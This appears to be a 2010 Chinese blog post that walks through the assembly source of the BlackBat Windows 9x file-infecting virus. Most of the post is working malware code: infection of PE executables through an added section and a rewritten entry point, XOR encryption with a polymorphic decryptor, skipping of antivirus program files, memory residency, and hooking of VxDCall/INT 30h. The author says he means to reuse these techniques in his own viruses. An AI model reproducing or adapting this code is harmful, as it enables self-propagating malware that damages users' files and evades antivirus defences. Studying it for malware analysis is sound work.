注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

BlackBat 学习之旅(下)  

2010-12-20 16:20:38|  分类: 我的看雪 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
这个函数比较简单就是得到我们需要用到的API函数的地址即可,再来看(3),这个函数是程序的关键,即感染文件函数
InfectFile   PROC if_szFileName:DWORD
  LOCAL lpdwLastSection:DWORD, \
    dwVirusBegin:DWORD, \
    dwNewEntryRVA:DWORD, \
    dwJumpBytes:DWORD, \
    dwIOH:DWORD, \
    dwIncFileSize:DWORD, \
    dwIncSecSize:DWORD, \
    dwDeltaOffset:DWORD
  @DELTA esi
  mov   [dwDeltaOffset], esi               ;保存Delta偏移量
;检查文件是否已经被感染
(*)  call   CanFileBeInfected, if_szFileName
  test   eax, eax                 
  jz   End_InfectFile                 ;如果被感染了,直接返回
  mov   [dwIncFileSize], ebx               ;保存增加的文件大小
  mov   [dwIncSecSize], ecx               ;保存增加的区块大小
  
;Map Host File into Memory
(*)  call   OpenAndMapFile, if_szFileName, dwIncFileSize
  test   eax, eax                 ;文件打开,映射是否成功
  jz   End_InfectFile                 ;如果没有成功,则直接返回
  mov   esi, [dwDeltaOffset]
  mov   [esi + lpHostFile], eax             ;保存文件开始地址
  
;Get File Headers
(*)  call   GetFileHeaders, eax               ;得到文件头
  mov   [dwIOH], ebx                 
  mov   [lpdwLastSection], ecx
  
;计算病毒代码在文件开始位置
  mov   eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
  add   eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
  mov   [dwVirusBegin], eax               ;文件新的入口点相对位置
  
;计算新的入口点的相对虚拟地址
  mov   ebx, [lpdwLastSection]
  sub   eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
  add   eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
  mov   [dwNewEntryRVA], eax
  
;计算JMP指令字节数
  add   eax, offset ReturnToHost - offset StartOfVirusCode
  mov   ebx, [dwIOH]
  sub   eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
  add   eax, 4
  not   eax
  mov   [dwJumpBytes], eax               ;保存这个字节数
  
;在主程序中增加病毒部分
  mov   esi, offset StartOfVirusCode             ;拷贝病毒
  add   esi, [dwDeltaOffset]               
  mov   edi, [dwVirusBegin]               
  mov   ebx, [dwDeltaOffset]
  add   edi, [ebx + lpHostFile]             ;拷贝地址
  mov   ecx, VIRUS_SIZE
  rep   movsb
  
;写入新的JMP指令
;Offset in File where operand to JMP instruction is to be put
  mov   ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
  add   ebx, [dwVirusBegin]               ;文件中的偏移地址
  mov   esi, [dwDeltaOffset]
  add   ebx, [esi + lpHostFile]             ;校正映射文件的偏移
  mov   ecx, [dwJumpBytes]               
  mov   [ebx], ecx                 
  
;更新最后一个区块
  mov   eax, [lpdwLastSection]
  mov   ebx, [dwIncSecSize]
  mov   ecx, [dwIncFileSize]
  add   (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
  add   (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
  or   (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
  
;为文件计算虚拟大小
  mov   ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
  cmp   (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx       
  jge   VirtualSizeFine ;No, Fix Not Required
  mov   (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx       
  
VirtualSizeFine:
;更新PE头
  mov   ebx, [dwIOH] ;Address of Image Optional Header
  add   (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
  
;更新PE头的相对虚拟地址
  mov   ecx, [dwNewEntryRVA]     ;得到新入口的RVA
  mov   (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
  
;Update the Win32VersionValue field. This is used as a Virus Signature
  mov   (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
  
;Encrypt the file, and Close it
  mov   ebx, [dwDeltaOffset]
  mov   edi, [ebx + lpHostFile]             ;主程序的开始地址
  add   edi, [dwVirusBegin]               ;病毒在文件中的地址
(*)  call   EncryptVirus          ;加密病毒体
(*)  call   UnmapAndCloseFile, if_szFileName
  xor   eax, eax
  inc eax                   ;如果成功,返回1
End_InfectFile:
  ret
InfectFile ENDP
这个函数里面有几个函数,我们一一分析开来,重复的就不分析了
(*)CanFileBeInfected 这个函数主要是用来检查文件是否被感染~~检查的主要依据:
(1)文件必须是EXE文件
(2)文件头须是PE
(3)不能是DLL文件
(4)是否是被我们的病毒感染
(5)不能是自WinZip类的自解压文件
CanFileBeInfected   PROC   cfbe_szFileName:DWORD
;映射文件,但不增加文件大小
(*)  call   OpenAndMapFile, cfbe_szFileName, 0
  test   eax, eax                   ;文件打开映射成功是否成功
  jz   End_CanFileBeInfected                 
;得到文件头
(*)  call   GetFileHeaders, eax
  test   eax, eax                   
  je   End_CanFileBeInfected                 
;检查文件是否被感染
  cmp   (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
  jz   Error_CanFileBeInfected ;File is already infected
;检查文件是否是DLL文件
  test   (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
  jnz   Error_CanFileBeInfected ;Yes
  cmp   dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_"       ;是不是_win
  je   Error_CanFileBeInfected               ;是的,就不感染
  mov   eax, ebx                   ;可选头映像
  mov   ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
  mov   ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
;计算要增加的区块长度
;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN              ; 这个公式在很多写病毒的场合用于,哈哈
  mov   eax, VIRUS_SIZE - 1                ;增加区块
  add   eax, ecx                   
  xor   edx, edx                   
  div   ecx                     
  mul   ecx                     
  push   eax                     
;计算文件增加大小
;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
  mov   eax, VIRUS_SIZE - 1
  add   eax, ebx                   
  div   ebx                     
  mul   ebx                     
  push   eax                     
;关闭文件句柄,并返回相关值
(*)  call   UnmapAndCloseFile, cfbe_szFileName
  pop   ebx                     
  pop  ecx                     
  xor   eax, eax
  inc   eax                     
  jmp   End_CanFileBeInfected
Error_CanFileBeInfected:
(*)  call   UnmapAndCloseFile, cfbe_szFileName
  xor   eax, eax                   
End_CanFileBeInfected:
  ret
CanFileBeInfected ENDP
回到InfectFile函数里面,它还调用了一个打开文件句柄的函数
OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
  @DELTA   esi
                    ;保存文件属性
  call   esi + GetFileAttributesA, oamf_szFileName
  mov   [esi + dwFileAttributes], eax           ;保存文件属生
  call   esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
  test   eax, eax               ;设置文件属性是否成功
  je   End_OpenAndMapFile             
;以读写方式打开文件
  call   esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
      FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
  cmp   eax, INVALID_HANDLE_VALUE           ;文件打开是否成功
  je   Error_OpenAndMapFile_Create           
  mov   [esi + hHostFile], eax             ;成功保存文件句柄
  
;得到文件时间
  lea   ebx, [esi + ftLastAccessTime]
  lea   ecx, [esi + ftLastWriteTime]
  call   esi + GetFileTime, eax, NULL, ebx, ecx
  
;计算新文件大小
  call   esi + GetFileSize, [esi + hHostFile], NULL
  add   eax, [oamf_dwAddBytes]             ;计算新文件大小
  
;映射文件
  call   esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
          0, eax, NULL
  test   eax, eax               ;创建映射文件是否成功
  jz   Error_OpenAndMapFile_Mapping           
  mov   [esi + hMappedFile], eax           ;成功,保存句柄
  
  call   esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
  mov   [esi + lpHostFile], eax           
  test   eax, eax               
  jnz   End_OpenAndMapFile             
  
  call   esi + CloseHandle, [esi + hMappedFile]         ;失败关闭映射文件,保存文件属性
Error_OpenAndMapFile_Mapping:
  call   esi + CloseHandle, [esi + hHostFile]         ;失败关闭文件
Error_OpenAndMapFile_Create:
  call   esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
  xor   eax, eax               ;设置文件属性错误,返回0
End_OpenAndMapFile:
  ret
OpenAndMapFile ENDP
接下来程序又调用了加密病毒代码的函数(*)EncryptVirus,并使用了简单的多态,如下所示
EncryptVirus   PROC
  push   edi                   ;保存病毒代码的开始位置
                      ;得到加密密钥进行加解密
  ;@DELTA esi
                      ;调用 esi + GetTickCount得到随便数并存放在EAX中
  in al, 40h                   ;得到随机密钥
  IF DEBUG
    xor al, al                 ;如果在调试状态,则不加密
  ENDIF
  mov   ecx, ENCRYPTED_SIZE
  add   edi, LOADER_SIZE               ;不加密
EncryptByte:
  xor   byte ptr [edi], al               ;加密
  inc   edi
  loop   EncryptByte
  pop   edi                   ;重置病毒代码的加密位置
  mov   byte ptr [edi + EncryptionKey - StartOfVirusCode], al
(*)  call   MutateDecryptor                ;调用多态进行解密
  ret
EncryptVirus ENDP
接下来看看MutateDecryptor函数是怎么样多态的?
MutateDecryptor   PROC
;得到两个随机寄存器
(*)  call   RandomRegister                       ;得到第一个寄存器数据
  mov   ah, al                         ;保存
GetAnotherRegister:
  call   RandomRegister                       ;得到第二个寄存器数据
  cmp   ah, al                         ;是否和第一个相同
  je   GetAnotherRegister                     ;相同,则去得到另一个寄存器,循环
;解密使用新的寄存器
  mov   bl, 58h                       ;修改pop
  add   bl, al                         ;Register 1
  mov   byte ptr [edi + 5], bl
  mov   bl, 0C0h                       ;修改add
  add   bl, al                         ;Register 1
  mov   byte ptr [edi + 7], bl
  mov   bl, 0B8h                       ;修改mov
  add   bl, ah                         ;Register 2
  mov   byte ptr [edi + 9], bl
  mov   bl, 30h                       ; 修改xor
  add   bl, al                         ;Register 1
  mov   byte ptr [edi + 15], bl
  mov   bl, 40h                       ;修改inc
  add   bl, al                         ;Register 1
  mov   byte ptr [edi + 17], bl
  mov   bl, 48h                       ;修改dec
  add   bl, ah                         ;Register 2
  mov   byte ptr [edi + 18], bl
  ret
MutateDecryptor ENDP
RandomRegister PROC
NewRandom:
  in   al, 40h                       ;得到随机数
  and   al,00000111b                       ;最大值为7
  cmp   al, 4                         ;不能为4
  je   NewRandom
  cmp   al, 5                         ;也不能为5
  je   NewRandom
  ret
RandomRegister ENDP
这个我们病毒的加密与解密也分析完了,重新回来InfectFile函数中,看最后一个调用的函数(*)UnmapAndCloseFile
UnmapAndCloseFile PROC uacf_szFilename:DWORD
;Unmap File
  @DELTA esi
  call   esi + UnmapViewOfFile, [esi + lpHostFile]         ;Unmap the File
  call   esi + CloseHandle, [esi + hMappedFile]           ;Close File Mapping
;Restore File Time
  lea   eax, [esi + ftLastAccessTime]
  lea   ebx, [esi + ftLastWriteTime]
  call   esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
;Close File
  call   esi + CloseHandle, [esi + hHostFile] ;Close the File
;Restore File Attributes
  call   esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
  ret
UnmapAndCloseFile ENDP
这个函数我就不多说了,就是完成感染后的收尾,恢复工作吧了
这样我们的主程中的感染函数就到这里了,其实很简单就是给文件新增加了一个节用于存放病毒,并使用了简单的多态对病毒代码部分进行加密处理
重新回来主程序中,感染之后,我们又调用了(4)CanMachineBeInfected,这个函数用于判断本台机器是否已经被感染过
CanMachineBeInfected PROC
  @DELTA   esi
;Check if the "No Infect" file exists on the current machine
  mov   eax, esi
  add   eax, offset szNoInfectFileName
  call   esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
      OPEN_EXISTING, NULL, NULL
  cmp   eax, INVALID_HANDLE_VALUE                 ;文件是否被打开
  je   End_CanMachineBeInfected                 
;Close the file, and return 0, since its probably my machine
  call   esi + CloseHandle, eax
  xor   eax, eax                     ;返回0,没有被感染
End_CanMachineBeInfected:
  ret
CanMachineBeInfected ENDP
检查完机器是否感染之后,就调用(5)RelocateVirus,将病毒代码放在一个重置地址处,在这里是存放在一个公享内存区
RelocateVirus   PROC
  LOCAL   dwDeltaOffset:DWORD, \
    dwMemoryRegion:DWORD
  @DELTA   esi
  mov   [dwDeltaOffset], esi
;重新保存内存地址
  @DELTA   esi
  call   esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
    PC_WRITEABLE OR PC_USER
  cmp   eax, INVALID_HANDLE_VALUE                 ;分配内存
  je   Error_RelocateVirus                   
  cmp   eax, SHARED_MEMORY                   ;是否是共享内存段
  jb   Error_RelocateVirus                   
;保存区域地址
  mov   [dwMemoryRegion], eax
;共享内存
  shr   eax, 0Ch                     ;页数据
  mov   esi, [dwDeltaOffset]
  call   esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
      PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
  or   eax,eax
  je   Error_RelocateVirus
;拷贝病毒
  mov   esi, dwDeltaOffset
  add   esi, offset StartOfVirusCode                 ;从这里开始拷贝源地址
  mov   edi, [dwMemoryRegion]                   ;拷贝到这里来目标地址
  mov   ecx, VIRUS_SIZE                   ;长度
  rep   movsb
  mov   eax, [dwMemoryRegion]                   ;返回被分配的共享区域
  jmp   End_RelocateVirus
Error_RelocateVirus:
  xor   eax, eax                     
End_RelocateVirus:
  ret
RelocateVirus ENDP
最后在主程序中,调用了(6)InstallHookProcedure来HOOK API用来监听VxDCall调用的API函数,我们来看看这个函数吧
InstallHookProcedure   PROC
  LOCAL   dwDeltaOffset:DWORD
  @DELTA   esi
  mov   [dwDeltaOffset], esi
;修改JMP指令, 指向OldInt30地址
  mov   eax, esi
  add   eax, offset OldInt30Address                 ;修改字节
  mov   ebx, esi
  add   ebx, offset OldInt30                   ;OldInt30的直址
  mov   [eax], ebx                     ;修改JMP指令
;反汇编VxDCall函数如下:
;
;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
;8F 04 24 POP DWORD PTR [ESP]
;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
;
;先保存原来的OldInt30地址,然后修改JMP地址,使它跳到我们的地址处,然后在根据保存的原来的值,返回
  add   esi, offset VxDCall
  mov   esi, [esi]                     ;VxDCall函数第一个字节
  mov   ecx, 50                     ;扫描50个字节
TraceVxDCall:
  lodsb                         ;得到当前字节
  cmp   al, 2Eh                     ;第一个字节是否是CALL
  jne   TraceVxDCall_NextByte                   ;不是,则检查下一个
  cmp   word ptr [esi], 1DFFh                   ;然后检查指令下两个字节
  je   TraceVxDCall_AddressFound                 
TraceVxDCall_NextByte:
  loop   TraceVxDCall                     ;继续检查
TraceVxDCall_AddressFound:
;保存当前INT 30h地址
  cli                         ;不能避免被中断
  lodsw                         ;跳过FF 1D
  lodsd                         ;指向INT 30h instruction, XXXXXXXX
  mov   esi, eax                     ;从这拷内字节
  mov   edi, [dwDeltaOffset]
  add   edi, offset OldInt30                   ;到这里来
  mov   ecx, 6                       ;保存6个字节
  rep movsb
;设置新的INT 30h句柄
  mov   edi, eax                     ;指向INT 30h instruction
  mov   eax, [dwDeltaOffset]
  add   eax, offset VxDInt30Handler                 ;拷贝这个地址
  stosd                         ;保存四个字节
  mov   ax, cs
  stosw                         
  sti                         ;句柄安装完成允许中断
  ret
InstallHookProcedure ENDP
这面这段代码是Hook API经典之作吧,好多Hook API都会用到上面的技术~驱动中用的也比较多
其实原理很简单就是,当我们正常执行跳转时,修改要跳转的那几个字节,把它指向我们要他跳转的地址,然后又通过前面保存的修改的那个地方的地址,返回来,继
续执行
下面我们分析,他Hook之后去执行了函数吧
VxDInt30Handler   PROC
  pushad                         ;保存所有寄存器值
;确保我们不是处理自己的调用
  @OFFSET ebp, VxDCall_Busy
  cmp   byte ptr [ebp], TRUE                   ;病毒是否正在运行之中
  je   Exit_VxDInt30Handler                   
;Process only INT 21h Services
  cmp   eax, VWIN32_Int21Dispatch                 ;是否是INt 21h
  jne   Exit_VxDInt30Handler
  mov   eax,dword ptr [esp+0000002Ch]                 ;得到21h
  cmp   ax, RESIDENCY_CHECK_SERVICE                 ;检查是否驻留
  je   Residency_Check                   
  cmp   ax, LFN_OPEN_FILE_EXTENDED                 
  je   Extended_File_Open
  jmp   Exit_VxDInt30Handler                   ;没有,则转到默认处理处
Residency_Check:
;Virus Residency Check
  popad                         ;保存寄存器和堆栈
  mov   esi, RESIDENCY_SUCCESS                   ;告诉调用者,已经驻留了
  jmp   Original_VxDInt30Handler                 ;去执行一般的处理
Extended_File_Open:
;被重新载入
  @OFFSET eax, VxDCall_Busy
  mov   byte ptr [eax], TRUE
  push   esi
(*)  call   IsFilenameOK, esi                  
  pop   esi
  or   eax, eax
  jz   File_Not_Executable
;Do Stuff
(*)  call   OutputFileName
File_Not_Executable:
;完成处理
  @OFFSET eax, VxDCall_Busy
  mov   byte ptr [eax], FALSE
Exit_VxDInt30Handler:
  popad                         ;保存,在转换之前
Original_VxDInt30Handler:
;将接下来的几个字节转变为JMP FWORD PTR CS:[00000000]
  DB   2Eh, 0FFh, 2Dh                     ;跳到FWORD PTR CS:[XXXXXXXX]
OldInt30Address:                       ;后面的四个字节将被代替 the
  DB   4 DUP (0)                     ;OldInt30在内存中的地址
  ;ret                         ;如果不需要,我们就跳走
VxDInt30Handler ENDP
这个函数中调用了两个子函数,(*)IsFilenameOK来判断文件是否被感染
判断原则:
(1)文件名不能少于五个字节,因为我们要感染.EXE文件,所以最小的长为也要五个字节
(2)文件的后缀名应该为.EXE(或.XYZ for 调试)
(3)文件不能包含viz,AV,AN,F-这些常字符串,他们会阻止感染
IsFilenameOK   PROC   ife_szFilename
  LOCAL   szExtention[4]:BYTE
;检查文件名长度
  mov   esi, ife_szFilename
(*)  call   StringLength, esi                   ;得到文件名长度
  cmp   eax, 4                       ;如果文件名长度小于5个字节
  jl   Error_IsFilenameOk                   ;是的,不感染
  push   eax                       ;保存文件长度
;Get File Extention
  mov   eax, [esi + eax - 4]                   ;文件扩展名(包含.)
  lea   edx, szExtention                   ;得到扩展缓冲区地址
  mov   [edx], eax                     ;存储扩展缓冲区地址
;Convert to upper case
  mov   ecx, 3                       ;三个字符被转换
ToUpperCase:
  inc   edx                       ;.字符不检查大小写
  cmp   byte ptr [edx], "a"
  jl   NextCharacter
  cmp   byte ptr [edx], "z"
  jg   NextCharacter
  sub   byte ptr [edx], "a" - "A"                 ;转换为小写
NextCharacter:
  loop   ToUpperCase
  pop   ecx                       ;得到文件名长度
;Check the Extention
  IF DEBUG
    cmp dword ptr [edx - 3], "ZYX."               ;扩展名为.XYZ,只在调试时
  ELSE
    ERR "Release Mode, Executables will be Infected !!!"           
  cmp   dword ptr [edx - 3], "EXE."                 ;判断扩展名是否为.XYZ,只要调试时
  ENDIF
  jne   Error_IsFilenameOk                   ;如果不是,则扩展名不相配
  ;Check Anti-Virus Program Files
  dec   ecx                       ;检查两个字节,最后一个字节不为reqd
CheckAntiVirusFiles:
  cmp   word ptr [esi], "VA"                   ;"AV"; for NAV (Norton), TBAV (ThunderByte)
  je   Error_IsFilenameOk
  cmp   word ptr [esi], "va"
  je   Error_IsFilenameOk
  cmp   word ptr [esi], "-F"                   ;"F-"; for F-PROT
  je   Error_IsFilenameOk
  cmp   word ptr [esi], "NA"                  ;"AN", for SCAN (McAfee), CLEAN
  je   Error_IsFilenameOk
  cmp   word ptr [esi], "na"
  je   Error_IsFilenameOk
  inc   esi                       ;下一个字符
  loop   CheckAntiVirusFiles                   ;检查所有的
  xor   eax, eax
  inc   eax
  jmp   End_IsFilenameOk
Error_IsFilenameOk:
  xor   eax, eax
End_IsFilenameOk:
  ret
IsFilenameOK ENDP
上面有一个得到文件名长度的函数(*)StringLength,如下所示
StringLength   PROC   sl_lpszString:DWORD
  mov   edi, sl_lpszString               ;字符串
  xor   ecx, ecx
  dec   ecx                   
  xor   eax, eax                 ;查找NULL字符串
  repne   scasb                   ;查找结终符NULL
  not ecx
  dec ecx                   ;字符串长度
  mov eax, ecx                   ;返回字符串长度
  ret
StringLength ENDP
在我们自定义跳转的函数VxDInt30Handler中还调用了一个(*)OutputFileName ,用于创建文件,并写入数据
;------------------------------------------OutputFileName---------------------------------------------------------
OutputFileName   PROC
  LOCAL   dwFilename:DWORD, \
    dwDeltaOffset:DWORD
  mov   [dwFilename], esi
  @DELTA   esi
  mov   [dwDeltaOffset], esi
;创建文件用于写入
  mov   edx, [dwDeltaOffset]
  add   edx, offset szOutputFile
  mov   esi, 0BFF77ADFh
  call   esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
      0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
  cmp   eax, INVALID_HANDLE_VALUE
  je   End_OutputFileName
;到文件未尾
  push   eax                       ;保存句柄
  mov   esi, 0BFF7713Fh                   ;设置文件指针
  call   esi, eax, 0, 0, 2
  pop eax                       ;重新存储句柄
;得到文个名长度
  push   eax                       ;保存句柄
  mov   edx, [dwFilename]
  mov   esi, 0BFF773ADh                   ;lstrlen
  call   esi, edx
  mov   ebx, eax                     ;文件名长度
  pop   eax                       ;重新存储句柄
;写入文件
  push   eax                       ;保存句柄
  push   eax                       ;创造一个缓冲区written
  lea   ecx, [esp - 4]
  mov   edx, [dwFilename]
  mov   esi,0BFF76FD5h                     ;写文件
  call   esi, eax, edx, ebx, ecx, 0
  pop   eax                       ;删除缓冲区
  pop   eax                       ;重新存储文件句柄
;关闭文件句柄
  mov   esi, 0BFF7E064h
  call   esi, eax
End_OutputFileName:
  ret
OutputFileName ENDP 
这样一个程序就分析完成了,上面用的了加密与简单的多态,还用于了HOOK技术用于监听,这些技术对于病毒的写作者来说应该用的还是比较多的就看你怎么玩吧了~~
好了,就分析到这,我们学习病毒的源代码,最主要是的是学习它的一些经典技术,然后用在我们的病毒中,对于病毒技术,我会一直研究学习下去,并会一直在看雪上发一些文章,算是自己的一些学习经历和一些心得吧~~呵呵~~好了,有时间再经继续吧!
现在咱只是小菜一个,但只要咱坚持做下去,我相信咱会成为中国最具有潜力的病毒缔造者(只是爱好,不会做恶,这点大家可以放心)~~在这里给自己加油,打气~~

  评论这张
 
阅读(48)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017